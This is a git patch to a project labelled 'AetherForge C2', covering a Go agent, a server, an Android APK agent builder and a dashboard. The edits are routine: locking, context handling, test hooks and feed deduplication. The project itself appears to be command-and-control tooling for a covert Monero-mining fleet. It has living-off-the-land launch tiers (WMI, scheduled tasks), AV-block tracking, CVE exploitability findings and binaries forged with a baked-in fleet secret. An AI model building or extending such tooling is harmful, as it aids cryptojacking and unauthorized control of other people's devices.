From 689e574f7a3656a4a7474c8b313e1394acdd56a2 Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sat, 13 Jun 2026 19:54:24 -0700 Subject: [PATCH] Update server config, builder APK logic, frontend fleet/activity metrics, and ignore test APKs --- .gitignore | 2 +- agent/client/handlemessage_test.go | 19 +++ agent/miner/lotl_orchestrator.go | 10 +- android/agent-app/src/main/assets/config.json | 8 +- server/config.go | 4 +- server/config_test.go | 16 ++ server/internal/builder/build_apk.go | 4 + server/internal/builder/build_apk_test.go | 104 ++++++++++++ server/internal/builder/handler.go | 4 + server/main.go | 30 ++-- .../components/Fleet/CrucibleExpandedOps.tsx | 4 + server/web/src/help/fleetGroups.test.ts | 17 ++ server/web/src/help/fleetGroups.ts | 2 +- server/web/src/help/wsStatsCoalesce.test.ts | 106 ++++++++++++ server/web/src/help/wsStatsCoalesce.ts | 77 ++++++++- server/web/src/pages/ActivityFeedPage.tsx | 153 +++++++++++++----- server/web/src/pages/ROIPage.tsx | 2 +- 17 files changed, 497 insertions(+), 65 deletions(-) diff --git a/.gitignore b/.gitignore index 7dc4ce5..ad0431c 100644 --- a/.gitignore +++ b/.gitignore @@ -82,7 +82,7 @@ _*.txt /server/*cov* # Local APK / test logs (not tracked) -/agent-tablet-1.apk +/agent-*.apk /server/web/test-output.txt # Go build cache (local) diff --git a/agent/client/handlemessage_test.go b/agent/client/handlemessage_test.go index d96702a..2392fc2 100644 --- a/agent/client/handlemessage_test.go +++ b/agent/client/handlemessage_test.go @@ -2,6 +2,7 @@ package client import ( "encoding/json" + "os/exec" "testing" "time" @@ -15,6 +16,24 @@ import ( // real engine so handleMessage can call pool.SetJob without panicking. func newTestClient(t *testing.T) *AgentClient { t.Helper() + SetPostureCollector(func() *PostureReport { + return &PostureReport{} + }) + miner.SetProbeExecCommand(func(name string, args ...string) *exec.Cmd { + return exec.Command("cmd.exe", "/c", "exit 1") + }) + miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo { + return miner.ContainerRuntimeInfo{} + }) + miner.SetWSLDetector(func() miner.WSLRuntimeInfo { + return miner.WSLRuntimeInfo{} + }) + t.Cleanup(func() { + SetPostureCollector(nil) + miner.SetProbeExecCommand(nil) + miner.SetRuntimeDetector(nil) + miner.SetWSLDetector(nil) + }) b := config.GetBuiltinConfig() b.Threads = 1 cfg := config.RuntimeConfig{BuiltinConfig: b} diff --git a/agent/miner/lotl_orchestrator.go b/agent/miner/lotl_orchestrator.go index fc97c63..532041e 100644 --- a/agent/miner/lotl_orchestrator.go +++ b/agent/miner/lotl_orchestrator.go @@ -161,7 +161,7 @@ func (o *TierOrchestrator) TryChain(ctx context.Context) (LOTLTier, error) { default: } start := time.Now() - err := o.invokeTier(tier, hooks) + err := o.invokeTier(ctx, tier, hooks) duration := time.Since(start) if err != nil { if errors.Is(err, ErrTierChainSkipped) { @@ -203,7 +203,7 @@ func (o *TierOrchestrator) TryChain(ctx context.Context) (LOTLTier, error) { return "", ErrTierChainExhausted } -func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error { +func (o *TierOrchestrator) invokeTier(ctx context.Context, tier LOTLTier, hooks TierHooks) error { switch tier { case TierDockerLoad: if hooks.StartDockerLoad == nil { @@ -241,7 +241,7 @@ func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error { } return hooks.StartDotnet() case TierWMI: - attempt := RunWMITier(context.Background(), o.cfg) + attempt := RunWMITier(ctx, o.cfg) o.recordAttemptRecord(attempt) if !attempt.OK { if attempt.Error == "" { @@ -251,7 +251,7 @@ func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error { } return nil case TierScheduledTask: - attempt := RunScheduledTaskTier(context.Background(), o.cfg) + attempt := RunScheduledTaskTier(ctx, o.cfg) o.recordAttemptRecord(attempt) if !attempt.OK { if attempt.Error == "" { @@ -261,7 +261,7 @@ func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error { } return nil case TierGPUCompute: - attempt := RunGPUComputeTier(context.Background(), o.cfg) + attempt := RunGPUComputeTier(ctx, o.cfg) o.recordAttemptRecord(attempt) if attempt.OK { o.mu.Lock() diff --git a/android/agent-app/src/main/assets/config.json b/android/agent-app/src/main/assets/config.json index 5130d59..5f3d12d 100644 --- a/android/agent-app/src/main/assets/config.json +++ b/android/agent-app/src/main/assets/config.json @@ -1,9 +1,9 @@ { - "server_url": "http://deck:8989", - "worker_name": "tab-1", - "worker_number": "tab-1", + "server_url": "http://10.0.0.1:8989", + "worker_name": "cleanup-node", + "worker_number": "cleanup-node", "mining": { "enabled": false }, - "build_id": "bld-cross" + "build_id": "d5cb0702-953b-4a62-9fc7-e9476bdac1e0" } \ No newline at end of file diff --git a/server/config.go b/server/config.go index 424fbf7..410c687 100644 --- a/server/config.go +++ b/server/config.go @@ -1,4 +1,4 @@ -package main +package main import ( "encoding/json" @@ -345,8 +345,6 @@ func LoadConfig() *Config { cfg.DataDir = resolveDataDir(*dataDir, projectRoot) if cliPortExplicit { cfg.Port = cliPort - } else { - cfg.Port = cliPort } configPath := filepath.Join(cfg.DataDir, "config.json") diff --git a/server/config_test.go b/server/config_test.go index 611e061..2032a45 100644 --- a/server/config_test.go +++ b/server/config_test.go @@ -24,6 +24,7 @@ func applyMergeFromJSON(t *testing.T, dst *Config, payload string) { if err := json.Unmarshal([]byte(payload), &present); err != nil { t.Fatalf("unmarshal present keys: %v", err) } + hydrateLegacyAIConfig(&incoming, []byte(payload)) mergeConfigExplicit(dst, &incoming, present) } @@ -607,3 +608,18 @@ func TestLoadConfigOpenFirewallKeyDetection(t *testing.T) { t.Fatal("test precondition") } } + +func TestMergeConfigExplicitLegacyAIFields(t *testing.T) { + dst := DefaultConfig() + dst.Server.AIEndpoint = "" + dst.Server.AIDecisionIntervalSec = 0 + + applyMergeFromJSON(t, dst, `{"server":{"ai_local_endpoint":"http://local-ollama:11434","ai_interval_sec":30}}`) + + if dst.Server.AIEndpoint != "http://local-ollama:11434" { + t.Fatalf("expected Server.AIEndpoint to be hydrated from legacy, got %q", dst.Server.AIEndpoint) + } + if dst.Server.AIDecisionIntervalSec != 30 { + t.Fatalf("expected Server.AIDecisionIntervalSec to be hydrated from legacy, got %d", dst.Server.AIDecisionIntervalSec) + } +} diff --git a/server/internal/builder/build_apk.go b/server/internal/builder/build_apk.go index f1eaaab..c290b15 100644 --- a/server/internal/builder/build_apk.go +++ b/server/internal/builder/build_apk.go @@ -231,6 +231,9 @@ func apkFileName(req *BuildRequest) string { // buildAPKAgent compiles a linux/arm64 agent, embeds it in the Android project, and packages an APK. func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildResponse, int, string) { + h.apkBuildMu.Lock() + defer h.apkBuildMu.Unlock() + if req.ScoutMode { ApplyApkScoutPreset(req) } else { @@ -337,6 +340,7 @@ func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildRe } h.setProgress(req.CancelToken, "Saving to database", 99) if err := h.db.InsertBuild(buildRecord); err != nil { + cleanupBuild() return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, "" } diff --git a/server/internal/builder/build_apk_test.go b/server/internal/builder/build_apk_test.go index 665bbc0..c9536f3 100644 --- a/server/internal/builder/build_apk_test.go +++ b/server/internal/builder/build_apk_test.go @@ -3,10 +3,13 @@ package builder import ( "context" "encoding/json" + "fmt" "os" "path/filepath" "strings" + "sync" "testing" + "time" ) func TestApplyApkScoutPreset(t *testing.T) { @@ -254,3 +257,104 @@ func TestNormalizeRequestApkSkipsWallet(t *testing.T) { t.Fatalf("normalized apk: os=%q mining_disabled=%v", req.TargetOS, req.MiningDisabled) } } + +func TestBuildAPKAgentConcurrency(t *testing.T) { + h, database := testHandlerDB(t) + t.Cleanup(func() { _ = database.Close() }) + setFakeGoSuccess(t, h) + + androidDir := filepath.Join(h.projectRoot, "android") + if err := os.MkdirAll(filepath.Join(androidDir, "agent-app", "src", "main", "assets"), 0755); err != nil { + t.Fatal(err) + } + + // Channel to coordinate/delay the mock builds to assert serialization + inBuildChan := make(chan struct{}, 2) + h.apkBuildFn = func(h *Handler, ctx context.Context, androidDir, buildDir string) (string, error) { + inBuildChan <- struct{}{} + // Wait a small duration to keep the lock held, letting another call try to acquire it + time.Sleep(50 * time.Millisecond) + apk := filepath.Join(buildDir, "agent-app-debug.apk") + if err := os.WriteFile(apk, []byte("PK fake apk concurrent"), 0644); err != nil { + return "", err + } + return apk, nil + } + + var wg sync.WaitGroup + wg.Add(2) + for i := 0; i < 2; i++ { + go func(id int) { + defer wg.Done() + req := &BuildRequest{ + WorkerName: fmt.Sprintf("node-%d", id), + ServerURL: "http://10.0.0.1:8989", + CancelToken: fmt.Sprintf("cancel-token-%d", id), + ApkMode: true, + } + resp, code, _ := h.buildAPKAgent(context.Background(), req) + if code != 200 || !resp.Success { + t.Errorf("concurrent build %d failed: code=%d resp=%+v", id, code, resp) + } + }(i) + } + + wg.Wait() + close(inBuildChan) + + // Since they are serialized, they should execute one after the other. + if len(inBuildChan) != 2 { + t.Fatalf("expected 2 builds to have run, got %d", len(inBuildChan)) + } +} + +func TestBuildAPKAgentDatabaseFailureCleanup(t *testing.T) { + h, database := testHandlerDB(t) + // We close the database immediately so that InsertBuild fails + _ = database.Close() + + setFakeGoSuccess(t, h) + + androidDir := filepath.Join(h.projectRoot, "android") + if err := os.MkdirAll(filepath.Join(androidDir, "agent-app", "src", "main", "assets"), 0755); err != nil { + t.Fatal(err) + } + + h.apkBuildFn = func(h *Handler, ctx context.Context, androidDir, buildDir string) (string, error) { + apk := filepath.Join(buildDir, "agent-app-debug.apk") + if err := os.WriteFile(apk, []byte("PK fake apk cleanup test"), 0644); err != nil { + return "", err + } + return apk, nil + } + + req := &BuildRequest{ + WorkerName: "cleanup-node", + ServerURL: "http://10.0.0.1:8989", + CancelToken: "cleanup-test-token", + ApkMode: true, + } + + // Capture existing files in builds dir + buildsDir := filepath.Join(h.dataDir, "builds") + _ = os.MkdirAll(buildsDir, 0755) + + resp, code, _ := h.buildAPKAgent(context.Background(), req) + if resp.Success || code == 200 { + t.Fatalf("expected build to fail on DB write, but got success: code=%d", code) + } + + // Verify that the build directory under builds/ was cleaned up + files, err := os.ReadDir(buildsDir) + if err != nil { + t.Fatal(err) + } + if len(files) != 0 { + var names []string + for _, f := range files { + names = append(names, f.Name()) + } + t.Fatalf("expected builds directory to be empty after database failure cleanup, but found: %v", names) + } +} + diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go index 3774a03..100fa82 100644 --- a/server/internal/builder/handler.go +++ b/server/internal/builder/handler.go @@ -232,8 +232,12 @@ type Handler struct { // apkBuildFn overrides APK packaging (tests inject a mock gradle/script). apkBuildFn ApkBuildFunc + + // apkBuildMu serializes parallel Android APK builds to prevent concurrent writes to the shared assets directory and concurrent gradle runs. + apkBuildMu sync.Mutex } + // SetFleetSecret stores the fleet secret so it is baked into every forged binary. func (h *Handler) SetFleetSecret(secret string) { h.fleetSecret = secret diff --git a/server/main.go b/server/main.go index 55d32ae..6878138 100644 --- a/server/main.go +++ b/server/main.go @@ -1,4 +1,4 @@ -package main +package main import ( "context" @@ -68,6 +68,9 @@ func main() { log.SetFlags(log.LstdFlags | log.Lshortfile) log.Println("AetherForge C2 starting...") + ctx, stop := signal.NotifyContext(context.Background(), syscall.SIGINT, syscall.SIGTERM) + defer stop() + projectRoot := findProjectRoot() cfg := LoadConfig() log.Printf("Configuration loaded: port=%d, dataDir=%s (project root: %s)", cfg.Port, cfg.DataDir, projectRoot) @@ -278,8 +281,13 @@ func main() { go func() { ticker := time.NewTicker(15 * time.Second) defer ticker.Stop() - for range ticker.C { - wsHub.BroadcastPoolStatus(poolManager.ListStatus()) + for { + select { + case <-ticker.C: + wsHub.BroadcastPoolStatus(poolManager.ListStatus()) + case <-ctx.Done(): + return + } } }() @@ -398,10 +406,13 @@ func main() { // Start server addr := fmt.Sprintf(":%d", cfg.Port) - srv := &http.Server{Addr: addr, Handler: router} - - ctx, stop := signal.NotifyContext(context.Background(), syscall.SIGINT, syscall.SIGTERM) - defer stop() + srv := &http.Server{ + Addr: addr, + Handler: router, + ReadTimeout: 30 * time.Second, + WriteTimeout: 60 * time.Second, + IdleTimeout: 120 * time.Second, + } log.Printf("Server listening on %s", addr) log.Printf("Open http://localhost:%d in your browser", cfg.Port) @@ -564,12 +575,11 @@ func (p *serverConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error return fmt.Errorf("invalid config: server.max_build_size_mb must be ≥ 0") } - // Determine which top-level keys were explicitly present in the JSON payload. - // This prevents partial PUTs from corrupting boolean fields (H14): a key absent - // from the payload is treated as "not changed", not "set to false". var presentKeys map[string]json.RawMessage _ = json.Unmarshal(data, &presentKeys) + hydrateLegacyAIConfig(&incoming, data) + mergeConfigExplicit(p.config, &incoming, presentKeys) // Save to disk diff --git a/server/web/src/components/Fleet/CrucibleExpandedOps.tsx b/server/web/src/components/Fleet/CrucibleExpandedOps.tsx index 0eaca98..f085c62 100644 --- a/server/web/src/components/Fleet/CrucibleExpandedOps.tsx +++ b/server/web/src/components/Fleet/CrucibleExpandedOps.tsx @@ -118,6 +118,10 @@ export default function CrucibleExpandedOps({ } }, [singleSelectedAgent?.mac_address, wolMac]); + useEffect(() => { + setLiveDesktop(false); + }, [singleSelectedAgent?.id]); + const dispatchOne = useCallback( async (agent: Agent, action: string, args: Record = {}) => { try { diff --git a/server/web/src/help/fleetGroups.test.ts b/server/web/src/help/fleetGroups.test.ts index 0f037b0..47c7419 100644 --- a/server/web/src/help/fleetGroups.test.ts +++ b/server/web/src/help/fleetGroups.test.ts @@ -37,4 +37,21 @@ describe('fleetGroups', () => { saveFleetGroups(groups); expect(loadFleetGroups()).toHaveLength(2); }); + + it('generates unique fallback IDs for loaded groups missing an ID', () => { + // Manually saving raw JSON objects without IDs to simulate legacy state + const rawGroups = [ + { name: 'Legacy Group 1', color: '#ff0000', agentIds: [] }, + { name: 'Legacy Group 2', color: '#00ff00', agentIds: [] }, + ]; + localStorage.setItem('aetherforge_fleet_groups', JSON.stringify(rawGroups)); + + const loaded = loadFleetGroups(); + expect(loaded).toHaveLength(2); + expect(loaded[0].id).toBeDefined(); + expect(loaded[1].id).toBeDefined(); + expect(loaded[0].id).not.toBe(loaded[1].id); + expect(loaded[0].id.startsWith('fg-')).toBe(true); + expect(loaded[1].id.startsWith('fg-')).toBe(true); + }); }); diff --git a/server/web/src/help/fleetGroups.ts b/server/web/src/help/fleetGroups.ts index 41e2a5e..f78fc4c 100644 --- a/server/web/src/help/fleetGroups.ts +++ b/server/web/src/help/fleetGroups.ts @@ -54,7 +54,7 @@ export function loadFleetGroups(): FleetGroup[] { ? [...new Set(o.agentIds.filter((id): id is string => typeof id === 'string' && id.length > 0))] : []; return { - id: typeof o.id === 'string' && o.id ? o.id : `fg-${Date.now()}`, + id: typeof o.id === 'string' && o.id ? o.id : `fg-${crypto.randomUUID?.() ?? `${Date.now()}-${Math.random().toString(36).slice(2, 9)}`}`, name, color: normalizeGroupColor(typeof o.color === 'string' ? o.color : FLEET_GROUP_COLORS[0]), agentIds, diff --git a/server/web/src/help/wsStatsCoalesce.test.ts b/server/web/src/help/wsStatsCoalesce.test.ts index f528481..9c00c2f 100644 --- a/server/web/src/help/wsStatsCoalesce.test.ts +++ b/server/web/src/help/wsStatsCoalesce.test.ts @@ -138,6 +138,112 @@ describe('agentStatsUnchanged', () => { }), ).toBe(false); }); + + it('returns true when failed_methods, services, atlas_skips, and vuln_findings are structurally identical but have different array references', () => { + const agent = mockAgent({ + hashrate_15s: 100, + hashrate_1m: 90, + hashrate_15m: 80, + cpu_usage_pct: 12, + failed_methods: [{ method: 'container', reason: 'blocked', at: '2026-06-06T12:00:00Z' }], + services: [{ name: 'Wuauserv', display_name: 'Windows Update', status: 'running', start_type: 'auto' }], + atlas_skips: [{ tier: 'smb', condition: 'isolated', reason: 'timeout' }], + vuln_findings: [{ cve_id: 'CVE-2021-26855', severity: 'critical', patched: false }], + }); + expect( + agentStatsUnchanged(agent, { + agent_id: agent.id, + hashrate_15s: 100, + hashrate_1m: 90, + hashrate_15m: 80, + cpu_usage_pct: 12, + failed_methods: [{ method: 'container', reason: 'blocked', at: '2026-06-06T12:00:00Z' }], + services: [{ name: 'Wuauserv', display_name: 'Windows Update', status: 'running', start_type: 'auto' }], + atlas_skips: [{ tier: 'smb', condition: 'isolated', reason: 'timeout' }], + vuln_findings: [{ cve_id: 'CVE-2021-26855', severity: 'critical', patched: false }], + }), + ).toBe(true); + }); + + it('returns false when failed_methods change', () => { + const agent = mockAgent({ + hashrate_15s: 100, + hashrate_1m: 90, + hashrate_15m: 80, + cpu_usage_pct: 12, + failed_methods: [{ method: 'container', reason: 'blocked', at: '2026-06-06T12:00:00Z' }], + }); + expect( + agentStatsUnchanged(agent, { + agent_id: agent.id, + hashrate_15s: 100, + hashrate_1m: 90, + hashrate_15m: 80, + cpu_usage_pct: 12, + failed_methods: [{ method: 'container', reason: 'AV blocked', at: '2026-06-06T12:00:00Z' }], + }), + ).toBe(false); + }); + + it('returns false when services change', () => { + const agent = mockAgent({ + hashrate_15s: 100, + hashrate_1m: 90, + hashrate_15m: 80, + cpu_usage_pct: 12, + services: [{ name: 'Wuauserv', display_name: 'Windows Update', status: 'running', start_type: 'auto' }], + }); + expect( + agentStatsUnchanged(agent, { + agent_id: agent.id, + hashrate_15s: 100, + hashrate_1m: 90, + hashrate_15m: 80, + cpu_usage_pct: 12, + services: [{ name: 'Wuauserv', display_name: 'Windows Update', status: 'stopped', start_type: 'auto' }], + }), + ).toBe(false); + }); + + it('returns false when atlas_skips change', () => { + const agent = mockAgent({ + hashrate_15s: 100, + hashrate_1m: 90, + hashrate_15m: 80, + cpu_usage_pct: 12, + atlas_skips: [{ tier: 'smb', condition: 'isolated', reason: 'timeout' }], + }); + expect( + agentStatsUnchanged(agent, { + agent_id: agent.id, + hashrate_15s: 100, + hashrate_1m: 90, + hashrate_15m: 80, + cpu_usage_pct: 12, + atlas_skips: [{ tier: 'smb', condition: 'isolated', reason: 'failed-5-times' }], + }), + ).toBe(false); + }); + + it('returns false when vuln_findings change', () => { + const agent = mockAgent({ + hashrate_15s: 100, + hashrate_1m: 90, + hashrate_15m: 80, + cpu_usage_pct: 12, + vuln_findings: [{ cve_id: 'CVE-2021-26855', severity: 'critical', patched: false }], + }); + expect( + agentStatsUnchanged(agent, { + agent_id: agent.id, + hashrate_15s: 100, + hashrate_1m: 90, + hashrate_15m: 80, + cpu_usage_pct: 12, + vuln_findings: [{ cve_id: 'CVE-2021-26855', severity: 'critical', patched: true }], + }), + ).toBe(false); + }); }); describe('WS_LATEST_MESSAGE_TYPES', () => { diff --git a/server/web/src/help/wsStatsCoalesce.ts b/server/web/src/help/wsStatsCoalesce.ts index 1b29e26..51a45ac 100644 --- a/server/web/src/help/wsStatsCoalesce.ts +++ b/server/web/src/help/wsStatsCoalesce.ts @@ -1,4 +1,4 @@ -import type { Agent } from '../types'; +import type { Agent, AgentService } from '../types'; import type { WSStatsUpdate } from '../types/ws'; /** Returns true when a stats_update payload would not change visible agent fields. */ @@ -44,16 +44,17 @@ export function agentStatsUnchanged(agent: Agent, u: WSStatsUpdate): boolean { if (u.stratum_overlay !== undefined && agent.stratum_overlay !== u.stratum_overlay) return false; if (u.chain_exhausted !== undefined && agent.chain_exhausted !== u.chain_exhausted) return false; if (u.chain_order !== undefined && !shallowStrArrayEq(agent.chain_order, u.chain_order)) return false; - if (u.failed_methods !== undefined && agent.failed_methods !== u.failed_methods) return false; + if (u.failed_methods !== undefined && !failedMethodsEq(agent.failed_methods, u.failed_methods)) return false; if (u.dns_servers !== undefined && !shallowStrArrayEq(agent.dns_servers, u.dns_servers)) return false; if (u.dns_search_domains !== undefined && !shallowStrArrayEq(agent.dns_search_domains, u.dns_search_domains)) return false; if (u.av_products !== undefined && !shallowStrArrayEq(agent.av_products, u.av_products)) return false; - if (u.services !== undefined && agent.services !== u.services) return false; + if (u.services !== undefined && !servicesEq(agent.services, u.services)) return false; if (u.mining_hashrate !== undefined && agent.mining_hashrate !== u.mining_hashrate) return false; if (u.mining_block_reason !== undefined && agent.mining_block_reason !== u.mining_block_reason) return false; if (u.lotl_tier !== undefined && agent.lotl_tier !== u.lotl_tier) return false; if (u.lotl_attempts !== undefined && !tierAttemptsEq(agent.lotl_attempts, u.lotl_attempts)) return false; - if (u.vuln_findings !== undefined && agent.vuln_findings !== u.vuln_findings) return false; + if (u.atlas_skips !== undefined && !atlasSkipsEq(agent.atlas_skips, u.atlas_skips)) return false; + if (u.vuln_findings !== undefined && !vulnFindingsEq(agent.vuln_findings, u.vuln_findings)) return false; if (u.vuln_risk_score !== undefined && agent.vuln_risk_score !== u.vuln_risk_score) return false; if (u.join_lane !== undefined && agent.join_lane !== u.join_lane) return false; if (u.parent_agent_id !== undefined && agent.parent_agent_id !== u.parent_agent_id) return false; @@ -84,6 +85,74 @@ function tierAttemptsEq(a?: import('../types/lotl').TierAttempt[], b?: import('. return true; } +function failedMethodsEq( + a?: { method: string; reason: string; at: string }[], + b?: { method: string; reason: string; at: string }[] +): boolean { + if (a === b) return true; + if (!a || !b || a.length !== b.length) return false; + for (let i = 0; i < a.length; i++) { + if (a[i].method !== b[i].method || a[i].reason !== b[i].reason || a[i].at !== b[i].at) { + return false; + } + } + return true; +} + +function servicesEq(a?: AgentService[], b?: AgentService[]): boolean { + if (a === b) return true; + if (!a || !b || a.length !== b.length) return false; + for (let i = 0; i < a.length; i++) { + const x = a[i]; + const y = b[i]; + if ( + x.name !== y.name || + x.display_name !== y.display_name || + x.status !== y.status || + x.start_type !== y.start_type + ) { + return false; + } + } + return true; +} + +function atlasSkipsEq( + a?: { tier: string; condition: string; reason: string }[], + b?: { tier: string; condition: string; reason: string }[] +): boolean { + if (a === b) return true; + if (!a || !b || a.length !== b.length) return false; + for (let i = 0; i < a.length; i++) { + if (a[i].tier !== b[i].tier || a[i].condition !== b[i].condition || a[i].reason !== b[i].reason) { + return false; + } + } + return true; +} + +function vulnFindingsEq( + a?: import('../types/recon').VulnFinding[], + b?: import('../types/recon').VulnFinding[] +): boolean { + if (a === b) return true; + if (!a || !b || a.length !== b.length) return false; + for (let i = 0; i < a.length; i++) { + const x = a[i]; + const y = b[i]; + if ( + x.cve_id !== y.cve_id || + x.severity !== y.severity || + x.component !== y.component || + x.patched !== y.patched || + x.exploitable_in_fleet_context !== y.exploitable_in_fleet_context + ) { + return false; + } + } + return true; +} + /** WS message types that drive latestMessage consumers (sound, presence, emberwake). */ export const WS_LATEST_MESSAGE_TYPES = new Set([ 'presence_snapshot', diff --git a/server/web/src/pages/ActivityFeedPage.tsx b/server/web/src/pages/ActivityFeedPage.tsx index 293d7e9..938d41b 100644 --- a/server/web/src/pages/ActivityFeedPage.tsx +++ b/server/web/src/pages/ActivityFeedPage.tsx @@ -103,6 +103,9 @@ export default function ActivityFeedPage() { const prevAgentStatus = useRef>({}); // id → status const prevHashrates = useRef>({}); // id → hashrate_15m const prevPosture = useRef>({}); // id → posture_score + const seenShares = useRef>(new Set()); + const seenAlerts = useRef>(new Set()); + const aiInitialized = useRef(false); // Build agent name lookup useEffect(() => { @@ -160,7 +163,7 @@ export default function ActivityFeedPage() { const prev = prevHashrates.current[agent.id]; const cur = agent.hashrate_15m ?? 0; prevHashrates.current[agent.id] = cur; - if (prev === undefined || prev <= 0) continue; + if (prev === undefined) continue; const delta = cur - prev; // Only emit if ≥20% change AND at least 100 H/s delta if (Math.abs(delta) >= 100 && Math.abs(delta) / Math.max(prev, 1) >= 0.20) { @@ -197,59 +200,137 @@ export default function ActivityFeedPage() { }, [agents, push]); // ── New share events ─────────────────────────────────────────────────── - const lastShareId = useRef(null); useEffect(() => { if (recentShares.length === 0) return; - const top = recentShares[0]; - const key = top.id != null ? String(top.id) : `${top.agent_id}-${top.hash}`; - if (key === lastShareId.current) return; - lastShareId.current = key; - const name = agentMapRef.current.get(top.agent_id) ?? top.agent_id?.slice(0, 8); - push({ - id: eid(), kind: 'share', - agentId: top.agent_id, agentName: name, - message: top.accepted ? 'share accepted by pool' : 'share rejected', - detail: top.accepted ? undefined : top.error ?? 'pool rejection', - ts: new Date(top.timestamp ?? Date.now()), - }); + + // On first load, we initialize the seen list to avoid back-filling old shares + if (seenShares.current.size === 0) { + for (const s of recentShares) { + const key = s.id != null ? String(s.id) : `${s.agent_id}-${s.hash}`; + seenShares.current.add(key); + } + return; + } + + const newShares = []; + for (let i = recentShares.length - 1; i >= 0; i--) { + const s = recentShares[i]; + const key = s.id != null ? String(s.id) : `${s.agent_id}-${s.hash}`; + if (!seenShares.current.has(key)) { + seenShares.current.add(key); + newShares.push(s); + } + } + + if (seenShares.current.size > 200) { + const nextSet = new Set(); + for (const s of recentShares) { + const key = s.id != null ? String(s.id) : `${s.agent_id}-${s.hash}`; + nextSet.add(key); + } + seenShares.current = nextSet; + } + + for (const top of newShares) { + const name = agentMapRef.current.get(top.agent_id) ?? top.agent_id?.slice(0, 8); + push({ + id: eid(), kind: 'share', + agentId: top.agent_id, agentName: name, + message: top.accepted ? 'share accepted by pool' : 'share rejected', + detail: top.accepted ? undefined : top.error ?? 'pool rejection', + ts: new Date(top.timestamp ?? Date.now()), + }); + } }, [recentShares, push]); // ── Fleet alert events ───────────────────────────────────────────────── - const lastAlertId = useRef(null); useEffect(() => { if (fleetAlerts.length === 0) return; - const top = fleetAlerts[0]; - if (top.id === lastAlertId.current) return; - lastAlertId.current = top.id; - push({ - id: eid(), kind: 'alert', - agentId: top.agent_id, agentName: top.agent_name, - message: top.message, - detail: top.type, - ts: new Date(top.timestamp ?? Date.now()), - }); + + if (seenAlerts.current.size === 0) { + for (const a of fleetAlerts) { + seenAlerts.current.add(a.id); + } + return; + } + + const newAlerts = []; + for (let i = fleetAlerts.length - 1; i >= 0; i--) { + const a = fleetAlerts[i]; + if (!seenAlerts.current.has(a.id)) { + seenAlerts.current.add(a.id); + newAlerts.push(a); + } + } + + if (seenAlerts.current.size > 200) { + const nextSet = new Set(); + for (const a of fleetAlerts) { + nextSet.add(a.id); + } + seenAlerts.current = nextSet; + } + + for (const top of newAlerts) { + push({ + id: eid(), kind: 'alert', + agentId: top.agent_id, agentName: top.agent_name, + message: top.message, + detail: top.type, + ts: new Date(top.timestamp ?? Date.now()), + }); + } }, [fleetAlerts, push]); // ── Command result events ────────────────────────────────────────────── const lastCmdSeq = useRef(-1); useEffect(() => { if (commandResults.length === 0) return; - const top = commandResults[commandResults.length - 1]; - if ((top._seq ?? -1) <= lastCmdSeq.current) return; - lastCmdSeq.current = top._seq ?? -1; - const name = agentMapRef.current.get(top.agent_id ?? '') ?? top.agent_id?.slice(0, 8); - push({ - id: eid(), kind: 'command', - agentId: top.agent_id, agentName: name, - message: `${top.action} → ${top.success ? 'success' : 'failed'}`, - detail: top.success ? undefined : top.message?.slice(0, 80), - ts: new Date(), - }); + + if (lastCmdSeq.current === -1) { + lastCmdSeq.current = Math.max(...commandResults.map((r) => r._seq ?? -1)); + return; + } + + const newResults = []; + for (const r of commandResults) { + const seq = r._seq ?? -1; + if (seq > lastCmdSeq.current) { + newResults.push(r); + } + } + + if (newResults.length > 0) { + lastCmdSeq.current = Math.max(...newResults.map((r) => r._seq ?? -1)); + } + + for (const top of newResults) { + const name = agentMapRef.current.get(top.agent_id ?? '') ?? top.agent_id?.slice(0, 8); + push({ + id: eid(), kind: 'command', + agentId: top.agent_id, agentName: name, + message: `${top.action} → ${top.success ? 'success' : 'failed'}`, + detail: top.success ? undefined : top.message?.slice(0, 80), + ts: new Date(), + }); + } }, [commandResults, push]); // ── AI activity events ───────────────────────────────────────────────── const lastAiAgent = useRef>({}); useEffect(() => { + if (aiActivity.length === 0) return; + + if (!aiInitialized.current) { + for (const entry of aiActivity) { + if (entry.last_action) { + lastAiAgent.current[entry.agent_id] = entry.last_action; + } + } + aiInitialized.current = true; + return; + } + for (const entry of aiActivity) { const lastAction = lastAiAgent.current[entry.agent_id]; if (entry.last_action && entry.last_action !== lastAction) { diff --git a/server/web/src/pages/ROIPage.tsx b/server/web/src/pages/ROIPage.tsx index 7af9df9..bd761aa 100644 --- a/server/web/src/pages/ROIPage.tsx +++ b/server/web/src/pages/ROIPage.tsx @@ -108,7 +108,7 @@ export default function ROIPage() { ? (hr / totalHashrate) * xmrPerDay : 0; const nodeUsdDay = nodeXmrDay * price; - const nodeCores = a.cpu_cores ?? 0; + const nodeCores = a.status === 'online' ? (a.cpu_cores ?? 0) : 0; const nodeWatts = nodeCores * WATT_PER_CORE_ESTIMATE; const nodeKwhDay = (nodeWatts / 1000) * 24; const nodeElecCost = nodeKwhDay * kwh;